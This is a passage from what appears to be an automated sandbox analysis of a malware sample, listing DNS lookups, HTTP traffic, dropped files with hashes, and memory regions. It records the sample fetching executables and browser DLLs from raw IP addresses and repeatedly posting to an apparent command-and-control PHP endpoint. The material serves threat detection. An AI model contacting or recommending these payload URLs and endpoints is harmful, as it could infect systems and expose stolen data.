        westus2-2.in.applicationinsights.azure.com
        IN CNAME
        westus2-2.in.ai.monitor.azure.com
        westus2-2.in.ai.monitor.azure.com
        IN CNAME
        westus2-2.in.ai.privatelink.monitor.azure.com
        westus2-2.in.ai.privatelink.monitor.azure.com
        IN CNAME
        gig-ai-prod-westus2-0.trafficmanager.net
        gig-ai-prod-westus2-0.trafficmanager.net
        IN CNAME
        gig-ai-prod-wus2-02-app-v4-tag.westus2.cloudapp.azure.com
        gig-ai-prod-wus2-02-app-v4-tag.westus2.cloudapp.azure.com
        IN A
        20.9.155.150
      • flag-us
        POST
        https://westus2-2.in.applicationinsights.azure.com/v2/track
        SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
        Remote address:
        20.9.155.150:443
        Request
        POST /v2/track HTTP/1.1
        Content-Type: application/x-json-stream
        Content-Encoding: gzip
        Host: westus2-2.in.applicationinsights.azure.com
        Content-Length: 843
        Expect: 100-continue
        Connection: Keep-Alive
        Response
        HTTP/1.1 200 OK
        Transfer-Encoding: chunked
        Content-Type: application/json; charset=utf-8
        Server: Microsoft-HTTPAPI/2.0
        Strict-Transport-Security: max-age=31536000
        X-Content-Type-Options: nosniff
        Date: Mon, 06 May 2024 09:45:17 GMT
      • flag-us
        DNS
        150.155.9.20.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        150.155.9.20.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        228.249.119.40.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        228.249.119.40.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        103.169.127.40.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        103.169.127.40.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        206.23.85.13.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        206.23.85.13.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        22.236.111.52.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        22.236.111.52.in-addr.arpa
        IN PTR
        Response
      • flag-us
        DNS
        tse1.mm.bing.net
        Remote address:
        8.8.8.8:53
        Request
        tse1.mm.bing.net
        IN A
        Response
        tse1.mm.bing.net
        IN CNAME
        mm-mm.bing.net.trafficmanager.net
        mm-mm.bing.net.trafficmanager.net
        IN CNAME
        dual-a-0001.a-msedge.net
        dual-a-0001.a-msedge.net
        IN A
        204.79.197.200
        dual-a-0001.a-msedge.net
        IN A
        13.107.21.200
      • flag-us
        GET
        https://tse1.mm.bing.net/th?id=OADD2.10239351692215_1UJ4FAL91XLA7HB15&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90
        Remote address:
        204.79.197.200:443
        Request
        GET /th?id=OADD2.10239351692215_1UJ4FAL91XLA7HB15&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/2.0
        host: tse1.mm.bing.net
        accept: */*
        accept-encoding: gzip, deflate, br
        user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19041
        Response
        HTTP/2.0 200
        cache-control: public, max-age=2592000
        content-length: 659775
        content-type: image/jpeg
        x-cache: TCP_HIT
        access-control-allow-origin: *
        access-control-allow-headers: *
        access-control-allow-methods: GET, POST, OPTIONS
        timing-allow-origin: *
        report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth"}]}&ndcParam=QUZE
        nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0}
        accept-ch: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
        x-msedge-ref: Ref A: 8042EB7B4F54422EB4E871B699B6C204 Ref B: LON04EDGE0621 Ref C: 2024-05-06T09:46:32Z
        date: Mon, 06 May 2024 09:46:32 GMT
      • flag-us
        GET
        https://tse1.mm.bing.net/th?id=OADD2.10239360931611_1SOG5TNNJKE1WH1R0&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90
        Remote address:
        204.79.197.200:443
        Request
        GET /th?id=OADD2.10239360931611_1SOG5TNNJKE1WH1R0&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/2.0
        host: tse1.mm.bing.net
        accept: */*
        accept-encoding: gzip, deflate, br
        user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19041
        Response
        HTTP/2.0 200
        cache-control: public, max-age=2592000
        content-length: 468637
        content-type: image/jpeg
        x-cache: TCP_HIT
        access-control-allow-origin: *
        access-control-allow-headers: *
        access-control-allow-methods: GET, POST, OPTIONS
        timing-allow-origin: *
        report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth"}]}&ndcParam=QUZE
        nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0}
        accept-ch: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
        x-msedge-ref: Ref A: 48C136C88AEE4A7FBCB1F55D77EB9FEA Ref B: LON04EDGE0621 Ref C: 2024-05-06T09:46:32Z
        date: Mon, 06 May 2024 09:46:32 GMT
      • flag-us
        GET
        https://tse1.mm.bing.net/th?id=OADD2.10239360931612_153L2SVWUYAQUME4E&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90
        Remote address:
        204.79.197.200:443
        Request
        GET /th?id=OADD2.10239360931612_153L2SVWUYAQUME4E&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/2.0
        host: tse1.mm.bing.net
        accept: */*
        accept-encoding: gzip, deflate, br
        user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19041
        Response
        HTTP/2.0 200
        cache-control: public, max-age=2592000
        content-length: 621794
        content-type: image/jpeg
        x-cache: TCP_HIT
        access-control-allow-origin: *
        access-control-allow-headers: *
        access-control-allow-methods: GET, POST, OPTIONS
        timing-allow-origin: *
        report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth"}]}&ndcParam=QUZE
        nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0}
        accept-ch: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
        x-msedge-ref: Ref A: BC184671648A4989A8833986C78D3F45 Ref B: LON04EDGE0621 Ref C: 2024-05-06T09:46:32Z
        date: Mon, 06 May 2024 09:46:32 GMT
      • flag-us
        GET
        https://tse1.mm.bing.net/th?id=OADD2.10239351692210_1AKNUXTAY2T0XUMCR&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90
        Remote address:
        204.79.197.200:443
        Request
        GET /th?id=OADD2.10239351692210_1AKNUXTAY2T0XUMCR&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/2.0
        host: tse1.mm.bing.net
        accept: */*
        accept-encoding: gzip, deflate, br
        user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19041
        Response
        HTTP/2.0 200
        cache-control: public, max-age=2592000
        content-length: 449656
        content-type: image/jpeg
        x-cache: TCP_HIT
        access-control-allow-origin: *
        access-control-allow-headers: *
        access-control-allow-methods: GET, POST, OPTIONS
        timing-allow-origin: *
        report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth"}]}&ndcParam=QUZE
        nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0}
        accept-ch: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
        x-msedge-ref: Ref A: 2AA2A8BBADA0435CB4B0748349C89E95 Ref B: LON04EDGE0621 Ref C: 2024-05-06T09:46:32Z
        date: Mon, 06 May 2024 09:46:32 GMT
      • flag-us
        DNS
        57.169.31.20.in-addr.arpa
        Remote address:
        8.8.8.8:53
        Request
        57.169.31.20.in-addr.arpa
        IN PTR
        Response
      • 185.172.128.90:80
        http://185.172.128.90/cpa/ping.php?substr=two&s=ab&sub=0
        http
        90a5cadd85dd2621a9c41d8c653bb8d8f553365429468b122f43f0e063d3ae00.exe
        388 B
        280 B
        4
        3

        HTTP Request

        GET http://185.172.128.90/cpa/ping.php?substr=two&s=ab&sub=0

        HTTP Response

        200
      • 23.62.61.72:443
        https://www.bing.com/th?id=OADD2.10239381793954_1BHQ1BWFG78XLZOQQ&pid=21.2&c=16&roil=0.0049&roit=0&roir=0.9951&roib=1&w=24&h=24&dynsize=1&qlt=90
        tls, http2
        1.5kB
        6.6kB
        18
        12

        HTTP Request

        GET https://www.bing.com/th?id=OADD2.10239381793954_1BHQ1BWFG78XLZOQQ&pid=21.2&c=16&roil=0.0049&roit=0&roir=0.9951&roib=1&w=24&h=24&dynsize=1&qlt=90

        HTTP Response

        200
      • 185.172.128.228:80
        http://185.172.128.228/ping.php?substr=two
        http
        90a5cadd85dd2621a9c41d8c653bb8d8f553365429468b122f43f0e063d3ae00.exe
        374 B
        279 B
        4
        3

        HTTP Request

        GET http://185.172.128.228/ping.php?substr=two

        HTTP Response

        200
      • 185.172.128.59:80
        http://185.172.128.59/syncUpd.exe
        http
        90a5cadd85dd2621a9c41d8c653bb8d8f553365429468b122f43f0e063d3ae00.exe
        5.3kB
        290.6kB
        112
        219

        HTTP Request

        GET http://185.172.128.59/syncUpd.exe

        HTTP Response

        200
      • 185.172.128.228:80
        http://185.172.128.228/BroomSetup.exe
        http
        90a5cadd85dd2621a9c41d8c653bb8d8f553365429468b122f43f0e063d3ae00.exe
        105.1kB
        5.0MB
        2198
        3748

        HTTP Request

        GET http://185.172.128.228/BroomSetup.exe

        HTTP Response

        200
      • 185.172.128.150:80
        http://185.172.128.150/c698e1bc8a2f5e6d.php
        http
        u8w.0.exe
        2.4MB
        5.4MB
        5703
        4800

        HTTP Request

        POST http://185.172.128.150/c698e1bc8a2f5e6d.php

        HTTP Response

        200

        HTTP Request

        POST http://185.172.128.150/c698e1bc8a2f5e6d.php

        HTTP Response

        200

        HTTP Request

        POST http://185.172.128.150/c698e1bc8a2f5e6d.php

        HTTP Response

        200

        HTTP Request

        POST http://185.172.128.150/c698e1bc8a2f5e6d.php

        HTTP Response

        200

        HTTP Request

        GET http://185.172.128.150/b7d0cfdb1d966bdd/sqlite3.dll

        HTTP Response

        200

        HTTP Request

        POST http://185.172.128.150/c698e1bc8a2f5e6d.php

        HTTP Response

        200

        HTTP Request

        POST http://185.172.128.150/c698e1bc8a2f5e6d.php

        HTTP Response

        200

        HTTP Request

        GET http://185.172.128.150/b7d0cfdb1d966bdd/freebl3.dll

        HTTP Response

        200

        HTTP Request

        GET http://185.172.128.150/b7d0cfdb1d966bdd/mozglue.dll

        HTTP Response

        200

        HTTP Request

        GET http://185.172.128.150/b7d0cfdb1d966bdd/msvcp140.dll

        HTTP Response

        200

        HTTP Request

        GET http://185.172.128.150/b7d0cfdb1d966bdd/nss3.dll

        HTTP Response

        200

        HTTP Request

        GET http://185.172.128.150/b7d0cfdb1d966bdd/softokn3.dll

        HTTP Response

        200

        HTTP Request

        GET http://185.172.128.150/b7d0cfdb1d966bdd/vcruntime140.dll

        HTTP Response

        200

        HTTP Request

        POST http://185.172.128.150/c698e1bc8a2f5e6d.php

        HTTP Response

        200

        HTTP Request

        POST http://185.172.128.150/c698e1bc8a2f5e6d.php

        HTTP Response

        200

        HTTP Request

        POST http://185.172.128.150/c698e1bc8a2f5e6d.php

        HTTP Response

        200

        HTTP Request

        POST http://185.172.128.150/c698e1bc8a2f5e6d.php

        HTTP Response

        200

        HTTP Request

        POST http://185.172.128.150/c698e1bc8a2f5e6d.php

        HTTP Response

        200

        HTTP Request

        POST http://185.172.128.150/c698e1bc8a2f5e6d.php

        HTTP Response

        200

        HTTP Request

        POST http://185.172.128.150/c698e1bc8a2f5e6d.php

        HTTP Response

        200

        HTTP Request

        POST http://185.172.128.150/c698e1bc8a2f5e6d.php

        HTTP Response

        200

        HTTP Request

        POST http://185.172.128.150/c698e1bc8a2f5e6d.php

        HTTP Response

        200

        HTTP Request

        POST http://185.172.128.150/c698e1bc8a2f5e6d.php

        HTTP Response

        200
      • 20.157.87.45:80
        http://svc.iolo.com/__svc/sbv/DownloadManager.ashx
        http
        u8w.1.exe
        836 B
        721 B
        6
        6

        HTTP Request

        POST http://svc.iolo.com/__svc/sbv/DownloadManager.ashx

        HTTP Response

        200
      • 143.244.56.51:443
        https://download.iolo.net/sm/24/11A12794-499E-4FA0-A281-A9A9AA8B2685/24.3.0.57/SystemMechanic.exe
        tls, http2
        3.5MB
        69.5MB
        49232
        50038

        HTTP Request

        HEAD https://download.iolo.net/sm/24/11A12794-499E-4FA0-A281-A9A9AA8B2685/24.3.0.57/SystemMechanic.exe

        HTTP Response

        200

        HTTP Request

        GET https://download.iolo.net/sm/24/11A12794-499E-4FA0-A281-A9A9AA8B2685/24.3.0.57/SystemMechanic.exe

        HTTP Response

        200
      • 20.157.87.45:80
        http://svc.iolo.com/__svc/sbv/DownloadManager.ashx
        http
        u8w.1.exe
        882 B
        657 B
        7
        6

        HTTP Request

        POST http://svc.iolo.com/__svc/sbv/DownloadManager.ashx

        HTTP Response

        200
      • 20.9.155.150:443
        https://westus2-2.in.applicationinsights.azure.com/v2/track
        tls, http
        SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
        2.9kB
        5.2kB
        12
        10

        HTTP Request

        POST https://westus2-2.in.applicationinsights.azure.com/v2/track

        HTTP Response

        200
      • 204.79.197.200:443
        tse1.mm.bing.net
        tls, http2
        1.2kB
        8.1kB
        16
        14
      • 204.79.197.200:443
        https://tse1.mm.bing.net/th?id=OADD2.10239351692210_1AKNUXTAY2T0XUMCR&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90
        tls, http2
        83.3kB
        2.3MB
        1661
        1659

        HTTP Request

        GET https://tse1.mm.bing.net/th?id=OADD2.10239351692215_1UJ4FAL91XLA7HB15&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90

        HTTP Request

        GET https://tse1.mm.bing.net/th?id=OADD2.10239360931611_1SOG5TNNJKE1WH1R0&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90

        HTTP Request

        GET https://tse1.mm.bing.net/th?id=OADD2.10239360931612_153L2SVWUYAQUME4E&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90

        HTTP Request

        GET https://tse1.mm.bing.net/th?id=OADD2.10239351692210_1AKNUXTAY2T0XUMCR&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90

        HTTP Response

        200

        HTTP Response

        200

        HTTP Response

        200

        HTTP Response

        200
      • 204.79.197.200:443
        tse1.mm.bing.net
        tls, http2
        1.2kB
        8.1kB
        16
        14
      • 204.79.197.200:443
        tse1.mm.bing.net
        tls, http2
        1.2kB
        8.1kB
        16
        14
      • 8.8.8.8:53
        8.8.8.8.in-addr.arpa
        dns
        66 B
        90 B
        1
        1

        DNS Request

        8.8.8.8.in-addr.arpa

      • 8.8.8.8:53
        217.106.137.52.in-addr.arpa
        dns
        73 B
        147 B
        1
        1

        DNS Request

        217.106.137.52.in-addr.arpa

      • 8.8.8.8:53
        73.31.126.40.in-addr.arpa
        dns
        71 B
        157 B
        1
        1

        DNS Request

        73.31.126.40.in-addr.arpa

      • 8.8.8.8:53
        172.210.232.199.in-addr.arpa
        dns
        74 B
        128 B
        1
        1

        DNS Request

        172.210.232.199.in-addr.arpa

      • 8.8.8.8:53
        90.128.172.185.in-addr.arpa
        dns
        73 B
        73 B
        1
        1

        DNS Request

        90.128.172.185.in-addr.arpa

      • 8.8.8.8:53
        26.35.223.20.in-addr.arpa
        dns
        71 B
        157 B
        1
        1

        DNS Request

        26.35.223.20.in-addr.arpa

      • 8.8.8.8:53
        72.61.62.23.in-addr.arpa
        dns
        70 B
        133 B
        1
        1

        DNS Request

        72.61.62.23.in-addr.arpa

      • 8.8.8.8:53
        228.128.172.185.in-addr.arpa
        dns
        74 B
        74 B
        1
        1

        DNS Request

        228.128.172.185.in-addr.arpa

      • 8.8.8.8:53
        59.128.172.185.in-addr.arpa
        dns
        73 B
        73 B
        1
        1

        DNS Request

        59.128.172.185.in-addr.arpa

      • 8.8.8.8:53
        150.128.172.185.in-addr.arpa
        dns
        74 B
        74 B
        1
        1

        DNS Request

        150.128.172.185.in-addr.arpa

      • 8.8.8.8:53
        svc.iolo.com
        dns
        u8w.1.exe
        58 B
        74 B
        1
        1

        DNS Request

        svc.iolo.com

        DNS Response

        20.157.87.45

      • 8.8.8.8:53
        45.87.157.20.in-addr.arpa
        dns
        71 B
        157 B
        1
        1

        DNS Request

        45.87.157.20.in-addr.arpa

      • 8.8.8.8:53
        download.iolo.net
        dns
        63 B
        105 B
        1
        1

        DNS Request

        download.iolo.net

        DNS Response

        143.244.56.51

      • 8.8.8.8:53
        51.56.244.143.in-addr.arpa
        dns
        72 B
        114 B
        1
        1

        DNS Request

        51.56.244.143.in-addr.arpa

      • 8.8.8.8:53
        westus2-2.in.applicationinsights.azure.com
        dns
        SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
        88 B
        300 B
        1
        1

        DNS Request

        westus2-2.in.applicationinsights.azure.com

        DNS Response

        20.9.155.150

      • 8.8.8.8:53
        150.155.9.20.in-addr.arpa
        dns
        71 B
        157 B
        1
        1

        DNS Request

        150.155.9.20.in-addr.arpa

      • 8.8.8.8:53
        228.249.119.40.in-addr.arpa
        dns
        73 B
        159 B
        1
        1

        DNS Request

        228.249.119.40.in-addr.arpa

      • 8.8.8.8:53
        103.169.127.40.in-addr.arpa
        dns
        73 B
        147 B
        1
        1

        DNS Request

        103.169.127.40.in-addr.arpa

      • 8.8.8.8:53
        206.23.85.13.in-addr.arpa
        dns
        71 B
        145 B
        1
        1

        DNS Request

        206.23.85.13.in-addr.arpa

      • 8.8.8.8:53
        22.236.111.52.in-addr.arpa
        dns
        72 B
        158 B
        1
        1

        DNS Request

        22.236.111.52.in-addr.arpa

      • 8.8.8.8:53
        tse1.mm.bing.net
        dns
        62 B
        173 B
        1
        1

        DNS Request

        tse1.mm.bing.net

        DNS Response

        204.79.197.200
        13.107.21.200

      • 8.8.8.8:53
        57.169.31.20.in-addr.arpa
        dns
        71 B
        157 B
        1
        1

        DNS Request

        57.169.31.20.in-addr.arpa

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\ProgramData\Are.docx

        Filesize

        11KB

        MD5

        a33e5b189842c5867f46566bdbf7a095

        SHA1

        e1c06359f6a76da90d19e8fd95e79c832edb3196

        SHA256

        5abf8e3d1f78de7b09d7f6fb87f9e80e60caacf13ef3c1289665653dacd7c454

        SHA512

        f2ad3812ec9b915e9618539b0f103f2e9acaad25fbbacd84941c954ce070af231324e83a4621e951c1dbae8d40d50410954e40dd52bbd46e34c54b0d1957407b

      • C:\ProgramData\mozglue.dll

        Filesize

        593KB

        MD5

        c8fd9be83bc728cc04beffafc2907fe9

        SHA1

        95ab9f701e0024cedfbd312bcfe4e726744c4f2e

        SHA256

        ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a

        SHA512

        fbb446f4a27ef510e616caad52945d6c9cc1fd063812c41947e579ec2b54df57c6dc46237ded80fca5847f38cbe1747a6c66a13e2c8c19c664a72be35eb8b040

      • C:\ProgramData\nss3.dll

        Filesize

        2.0MB

        MD5

        1cc453cdf74f31e4d913ff9c10acdde2

        SHA1

        6e85eae544d6e965f15fa5c39700fa7202f3aafe

        SHA256

        ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5

        SHA512

        dd9ff4e06b00dc831439bab11c10e9b2ae864ea6e780d3835ea7468818f35439f352ef137da111efcdf2bb6465f6ca486719451bf6cf32c6a4420a56b1d64571

      • C:\Users\Admin\AppData\Local\Temp\u8w.0.exe

        Filesize

        275KB

        MD5

        e204cf255baa04d7989d28f3e6b4ab83

        SHA1

        ca10014a405ca8bf9f9a2d19cf71748cf1ae2e63

        SHA256

        4cceee7f9f7da2dc7f29954591aa0e7bd5c8d53063dc4e16cc63996febd9d4f4

        SHA512

        3e2069174efd894cd7f7ea4c7fdae94914c0f342b7a7043737e621cbe8242346a1aae7a1afccbf06f00d66dfa4105633906ba43c822c3d3399ac30078df69c65

      • C:\Users\Admin\AppData\Local\Temp\u8w.1.exe

        Filesize

        4.6MB

        MD5

        397926927bca55be4a77839b1c44de6e

        SHA1

        e10f3434ef3021c399dbba047832f02b3c898dbd

        SHA256

        4f07e1095cc915b2d46eb149d1c3be14f3f4b4bd2742517265947fd23bdca5a7

        SHA512

        cf54136b977fc8af7e8746d78676d0d464362a8cfa2213e392487003b5034562ee802e6911760b98a847bddd36ad664f32d849af84d7e208d4648bd97a2fa954

      • memory/320-3-0x0000000000400000-0x000000000046F000-memory.dmp

        Filesize

        444KB

      • memory/320-79-0x0000000000400000-0x000000000046F000-memory.dmp

        Filesize

        444KB

      • memory/320-78-0x0000000000400000-0x0000000001A32000-memory.dmp

        Filesize

        22.2MB

      • memory/320-1-0x0000000001AE0000-0x0000000001BE0000-memory.dmp

        Filesize

        1024KB

      • memory/320-2-0x0000000003690000-0x00000000036FC000-memory.dmp

        Filesize

        432KB

      • memory/1144-17-0x0000000000400000-0x0000000001A0F000-memory.dmp

        Filesize

        22.1MB

      • memory/1144-18-0x0000000000400000-0x0000000001A0F000-memory.dmp

        Filesize

        22.1MB

      • memory/1144-19-0x0000000061E00000-0x0000000061EF3000-memory.dmp

        Filesize

        972KB

      • memory/1144-16-0x0000000000400000-0x0000000001A0F000-memory.dmp

        Filesize

        22.1MB

      • memory/1144-138-0x0000000000400000-0x0000000001A0F000-memory.dmp

        Filesize

        22.1MB

      • memory/3184-148-0x0000000000400000-0x00000000008AD000-memory.dmp

        Filesize

        4.7MB

      • memory/3184-151-0x0000000000400000-0x00000000008AD000-memory.dmp

        Filesize

        4.7MB

      • memory/4380-155-0x0000025875C10000-0x0000025875C1C000-memory.dmp

        Filesize

        48KB

      • memory/4380-163-0x00000258779E0000-0x0000025877A56000-memory.dmp

        Filesize

        472KB

      • memory/4380-154-0x0000025874300000-0x0000025874310000-memory.dmp

        Filesize

        64KB

      • memory/4380-152-0x0000025870590000-0x0000025873E88000-memory.dmp

        Filesize

        57.0MB

      • memory/4380-156-0x0000025875C00000-0x0000025875C14000-memory.dmp

        Filesize

        80KB

      • memory/4380-157-0x0000025875C60000-0x0000025875C84000-memory.dmp

        Filesize

        144KB

      • memory/4380-158-0x0000025875C80000-0x0000025875C8A000-memory.dmp

        Filesize

        40KB

      • memory/4380-159-0x00000258764D0000-0x0000025876582000-memory.dmp

        Filesize

        712KB

      • memory/4380-161-0x0000025877880000-0x00000258778FA000-memory.dmp

        Filesize

        488KB

      • memory/4380-160-0x0000025877850000-0x000002587787A000-memory.dmp

        Filesize

        168KB

      • memory/4380-162-0x0000025877900000-0x0000025877962000-memory.dmp

        Filesize

        392KB

      • memory/4380-153-0x0000025877600000-0x0000025877710000-memory.dmp

        Filesize

        1.1MB

      • memory/4380-164-0x0000025875C90000-0x0000025875C9A000-memory.dmp

        Filesize

        40KB

      • memory/4380-168-0x0000025877A60000-0x0000025877D60000-memory.dmp

        Filesize

        3.0MB

      • memory/4380-170-0x000002587C420000-0x000002587C428000-memory.dmp

        Filesize

        32KB

      • memory/4380-171-0x000002587BD60000-0x000002587BD98000-memory.dmp

        Filesize

        224KB

      • memory/4380-172-0x000002587BD30000-0x000002587BD3E000-memory.dmp

        Filesize

        56KB

      • memory/4380-173-0x000002587CEC0000-0x000002587CECA000-memory.dmp

        Filesize

        40KB

      • memory/4380-174-0x000002587CED0000-0x000002587CEF2000-memory.dmp

        Filesize

        136KB

      • memory/4380-175-0x000002587D420000-0x000002587D948000-memory.dmp

        Filesize

        5.2MB

      • memory/4380-179-0x000002587CC40000-0x000002587CC4C000-memory.dmp

        Filesize

        48KB

      • memory/4380-178-0x000002587CC90000-0x000002587CCE0000-memory.dmp

        Filesize

        320KB

      • memory/4380-180-0x000002587CCE0000-0x000002587CD02000-memory.dmp

        Filesize

        136KB

      • memory/4380-181-0x000002587CD10000-0x000002587CD2E000-memory.dmp

        Filesize

        120KB

      We care about your privacy.

      This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.